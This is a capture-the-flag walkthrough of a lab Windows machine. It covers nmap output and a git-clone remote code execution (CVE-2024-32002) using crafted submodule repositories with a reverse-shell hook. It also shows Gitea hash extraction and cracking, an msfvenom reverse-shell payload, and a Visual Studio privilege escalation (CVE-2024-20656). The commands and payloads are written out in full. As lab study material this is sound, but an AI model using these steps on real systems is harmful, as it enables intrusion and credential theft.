Reconnaissance
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=662a0c3fa82abb38; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=qk-ro2dldVGXBBiSSrHpGzbH72U6MTcyMjI3NzQ2MjIwNTI2NTAwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 29 Jul 2024 18:24:22 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-arc-green">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Git</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=ff86c954256a5e2c; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=0dvKcpU_MiMjic9cZPF-3gZSipw6MTcyMjI3NzQ2NzQyNDAwMDUwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 29 Jul 2024 18:24:27 GMT
|_ Content-Length: 0
5000/tcp open upnp?
| fingerprint-strings:
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Mon, 29 Jul 2024 18:24:48 GMT
| Content-Type: text/html; charset=utf-8
| Allow: POST, GET, HEAD, OPTIONS
| Content-Length: 0
| Connection: close
| Help:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('HELP').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
| </html>
| SSLSessionReq:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| <=
| ').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
| </html>
| TerminalServerCookie:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad HTTP/0.9 request type ('
| Cookie:').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp open pando-pub?
The nmap
scan only identified four ports, a HTTP server on 3000 hosting Gitea and another one on port 5000. WinRM on 5985 and an unknown port 7680 (possibly related to Delivery Optimization1).
HTTP
Gitea
The Gitea installation on port 3000 has the Explore feature enabled so I find two repositories of the user richard
, namely Compiled
and Calculator
.
The Compiled
repository shows the source code for a Code Compiling Service written in Python. Apparently it does run on port 5000 and accepts a valid URL (starting with http:// and ending with .git) to clone the repository and compile the code. Support for C++, C# and .NET is mentioned. This could be the service that’s actually running on the other HTTP port.
There’s only app.py
with a rudimentary Flask server that takes input and writes that to a file. The cloning and compilation is missing entirely.
from flask import Flask, request, render_template, redirect, url_for
import os
app = Flask(__name__)
# Configuration
REPO_FILE_PATH = r'C:\Users\Richard\source\repos\repos.txt'
@app.route('/', methods=['GET', 'POST'])
def index():
error = None
success = None
if request.method == 'POST':
repo_url = request.form['repo_url']
if # Add a sanitization to check for valid Git repository URLs.
with open(REPO_FILE_PATH, 'a') as f:
f.write(repo_url + '\n')
success = 'Your git repository is being cloned for compilation.'
else:
error = 'Invalid Git repository URL. It must start with "http://" and end with ".git".'
return render_template('index.html', error=error, success=success)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
The second repository Calculator
is a sample program written in C++. Even though the repo contains several commits, no secrets were exposed. The README
mentions installation steps that refer to git version 2.45.0.windows.1
and also contains a domain name: gitea.compiled.htb
. I add this and the second-level domain to my /etc/hosts
file.
Compiled
The application listening on port 5000 seems to be based upon the code within the Compiled
repository. There’s one input field expecting a Git Repository URL.
In order to check if the application actually reaches out, I’ll submit a link to my box http://10.10.10.10/ryuki.git
after firing up a listener on port 80. The message Your git repository is being cloned for compilation. suggests a positive result and a few moments later I do receive a callback.
nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.10.10] from (UNKNOWN) [10.129.255.140] 62745
GET /ryuki.git/info/refs?service=git-upload-pack HTTP/1.1
Host: 10.10.10.10
User-Agent: git/2.45.0.windows.1
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
Pragma: no-cache
Git-Protocol: version=2
Submitting a presumably valid repository like http://gitea.compiled.htb:3000/richard/Calculator.git
shows the same message but nothing else happens. Either the compilation is not implement yet or the result page is just missing.
Execution
The callback confirmed the Git version in use to be git/2.45.0.windows.1
and that seems fairly recent2. Searching for known exploits finds CVE-2024-32002
, a remote code execution via git clone
3.
There’s a blog post going over the details. A repository containing a submodule can be built in a way that a file is written into the .git
directory via a symlink. This allows adding a hook to the repository while the clone operation is still running and leading to the execution of said hook.
The blog post includes a PoC, but in order to use it I have to set up two Git repositories. I can either host them myself or create an account on the Gitea instance. I use the latter and create two public repositories hook
and captain
.
Now I just need to create some local repositories with the exploit and push them to Gitea.
First I create the hook
repository that just contains the hook to be executed. For that I initialize an empty repository, create a folder hosting the hooks (y/hooks
) and add a post-checkout containing a base64 encoded payload for a reverse shell.
# Create the hook repository
git init hook && cd hook
# Create folder for the hooks
mkdir --parents y/hooks
# Add base64 encoded reverse shell
cat > y/hooks/post-checkout << EOF
#!/bin/sh
exec powershell.exe -ExecutionPolicy Bypass -NoProfile -Encoding <BASE64>
EOF
Adding the newly created files to the version control, I commit the changes and push the code to Gitea.
# Add all files to git
git add -A .
# Commit the changes
git commit -m "add hook"
# Add the remote repository
git remote add origin http://gitea.compiled.htb:3000/ryuki/hook.git
# Push to Gitea
git push -u origin main
Username for 'http://gitea.compiled.htb:3000': ryuki
Password for 'http://ryuki@gitea.compiled.htb:3000':
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 8 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (5/5), 940 bytes | 940.00 KiB/s, done.
Total 5 (delta 0), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://gitea.compiled.htb:3000/ryuki/hook.git
* [new branch] main -> main
branch 'main' set up to track 'origin/main'
With the code needed for the submodule uploaded to Gitea, I’m creating the repository for captain
next. After initializing another empty repository I add the submodule I’ve uploaded already to the repository and commit the changes. Next I update the git-index with a symlink to the .git
folder. Then I add the remote and push the code.
# Create the captain repository
git init captain && cd captain
# Add the submodule
git submodule add --name x/y http://gitea.compiled.htb:3000/ryuki/hook.git A/modules/x
# Commit the change
git commit -m "add submodule"
# Add symlink to .git and update-index
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
# Commit the change
git commit -m "add symlink"
# Add the remote repository
git remote add origin http://gitea.compiled.htb:3000/ryuki/captain.git
# Push to Gitea
git push -u origin main
Both repositories are in-place now, so I can proceed with the the exploitation. Setting up a local listener and supplying the link to my repository (http://gitea.compiled.htb:3000/ryuki/captain.git
) to the web application on port 5000
. Waiting a few moments and I receive a callback on my listener as user Richard
.
rlwrap -cAr nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.10.10] from (UNKNOWN) [10.129.255.140] 62758
PS C:\Users\Richard\source\cloned_repos\jzv9m\.git\modules\x> whoami
Richard
Privilege Escalation
Shell as Emily
After getting foothold on the machine I look around to find interesting information. The user Richard
does not have access to the first flag and there is another user according to the home directory: Emily
. Additionally I do not have a password yet, therefore I check the database of gitea in C:\Program Files\Gitea\data\gitea.db
, that I transfer to my machine in order to examine it further with sqlite3.
There’s a table called users containing the users, hashes and the hash function that was used.
SELECT name, passwd, salt, passwd_hash_algo FROM user;
administrator|1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d|a45c43d36dce3076158b19c2c696ef7b|pbkdf2$50000$50
richard|4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e|d7cf2c96277dd16d95ed5c33bb524b62|pbkdf2$50000$50
emily|97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16|227d873cca89103cd83a976bdac52486|pbkdf2$50000$50
ryuki|15ad0d65fae2a952ed32875b8d68008b4caecf0a3ece3a19172322781f2dd388dddcf3d31b3ba1b7cf879cfaf19634222613|827fa11dc057de8e3c30ee59f40ecaeb|pbkdf2$50000$50
The hashcat mode to be used is 10900
4 but the values have to be converted from hex to base64 and then filled into sha256:50000:<base64 salt>:<base64 hash>
.
sha256:50000:pFxD023OMHYVixnCxpbvew==:G/CpVhzwdsX8DXbhQHiKkbUoFgnDhHkYOf1umZbTu/XJG47ua9UIHkIIXtC+d5wu+G0=
sha256:50000:188slid90W2V7Vwzu1JLYg==:S0tTdm/pRufikbEG/Nb0lik0EW7JrHipmzv2sGz4Voqu3SZ+wCs5rrJE2D+4uJwkO14=
sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=
sha256:50000:gn+hHcBX3o48MO5Z9A7K6w==:Fa0NZfriqVLtModbjWgAi0yuzwo+zjoZFyMieB8t04jd3PPTGzuht8+HnPrxljQiJhM=
Running hashcat takes a few minutes and one password cracks, corresponding to user Emily
:12345678
. The user is part of the Remote Management Users
meaning I can use evil-winrm
to login and collect the first flag.
Shell as Administrator
As emily
I’ll run winPEAS to check for possible attack vectors. The history shows references to services.msc
and apparently there’s an unusual binary found, accessible to all users, MofCompiler.exe
.
.\winPEASx64.exe
--- SNIP ---
ÉÍÍÍÍÍÍÍÍÍ͹ Recently run commands
a: cmd\1
MRUList: eafcdb
b: powershell\1
c: control\1
d: services.msc\1
e: taskschd.msc\1
f: %temp%\1
--- SNIP ---
ÉÍÍÍÍÍÍÍÍÍ͹ Searching executable files in non-default folders with write (equivalent) permissions (can be slow)
--- SNIP ---
File Permissions "C:\Users\All Users\Microsoft\VisualStudio\SetupWMI\MofCompiler.exe": Authenticated Users [WriteData/CreateFiles]
--- SNIP ---
Searching for known exploits eventuall finds this blog post. It goes into detail on what’s happening and there are several PoCs on Github. Since that exploit needs to be compiled, I head over to my Windows VM where I go Visual Studio 2019 and the necessary tools to compile C++.
Info
Cloning and opening the SLN file in Visual Studio should prompt the installation of needed tools.
The exploit won’t work out of the box because it actually targets Visual Studio 2022 as denoted by WCHAR cmd[]
at the beginning of main.cpp
. The actual needed path can be easily identified through browsing the filesystem, it’s located in Program Files (x86)
and 2019
is installed. The actual payload is located within the function cb1()
and copies (and spawns) a cmd. Since I do not have a GUI interface, popping up a shell as another user won’t really help me. Instead of cmd I do generate a simple payload with msfvenom to be used instead of cmd.exe
.
void cb1()
{
printf("[*] Oplock!\n");
while (!Move(hFile2)) {}
printf("[+] File moved!\n");
CopyFile(L"c:\\windows\\system32\\cmd.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
finished = TRUE;
}
After changing cmd[]
to reflect the actual path on Compiled
and the function cb1()
to copy C:\\tools\\shell.exe
, I change the target to Release and build the solution. Next I transfer the exe
to my Kali machine and then to the target.
# Preparing the shell.exe that gets called by the exploit
msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.10 lport=8888 -f exe > shell.exe
nc -lnvp 8888
Uploading the compiled executable Expl.exe
and the generated shell.exe
to the target and executing the exploit does unfortunately does not return a reverse shell but an error messageregarding the Windows Installer Service
.
The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance.
[+] Junction \\?\C:\31c3d3c8-726b-465d-a718-43e8a1d82b0b -> \??\C:\dce6690d-2e3c-49a7-9157-c365c7f2d5aa created!
[+] Symlink Global\GLOBALROOT\RPC Control\Report.0197E42F-003D-4F91-A845-6404CF289E84.diagsession -> \??\C:\Programdata created!
[+] Junction \\?\C:\31c3d3c8-726b-465d-a718-43e8a1d82b0b -> \RPC Control created!
[+] Junction \\?\C:\31c3d3c8-726b-465d-a718-43e8a1d82b0b -> \??\C:\dce6690d-2e3c-49a7-9157-c365c7f2d5aa created!
[+] Symlink Global\GLOBALROOT\RPC Control\Report.0297E42F-003D-4F91-A845-6404CF289E84.diagsession -> \??\C:\Programdata\Microsoft created!
[+] Junction \\?\C:\31c3d3c8-726b-465d-a718-43e8a1d82b0b -> \RPC Control created!
[+] Persmissions successfully reseted!
[*] Starting WMI installer.
[*] Command to execute: C:\windows\system32\msiexec.exe /fa C:\windows\installer\8ad86.msi
Trying to query or even start the Windows Installer Service msiserver
only returns Access Denied
via WinRM. That’s unfortunately a common issue with shells via WinRM, so RunasCS to the rescue.
.\RunasCS.exe Emily 12345678 "cmd /c sc start msiserver"
SERVICE_NAME: msiserver
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x7530
PID : 2332
FLAGS :
For good measure I also run the exploit through RunasCs and after a short while, I get a callback on the listener as nt authority\system
and can collect the final flag.
Attack Path
flowchart TD subgraph "Initial Access" A(Gitea) -->|Public Code|B(Source Code for Application on port 5000) end subgraph "Execution" B -->|CVE-2024-32002|C(Shell as Richard) end subgraph "Privilege Escalation" C -->|Hashes in Gitea Database|D(Credentials for Emily) D -->|CVE-2024-20656|E(Shell as SYSTEM) end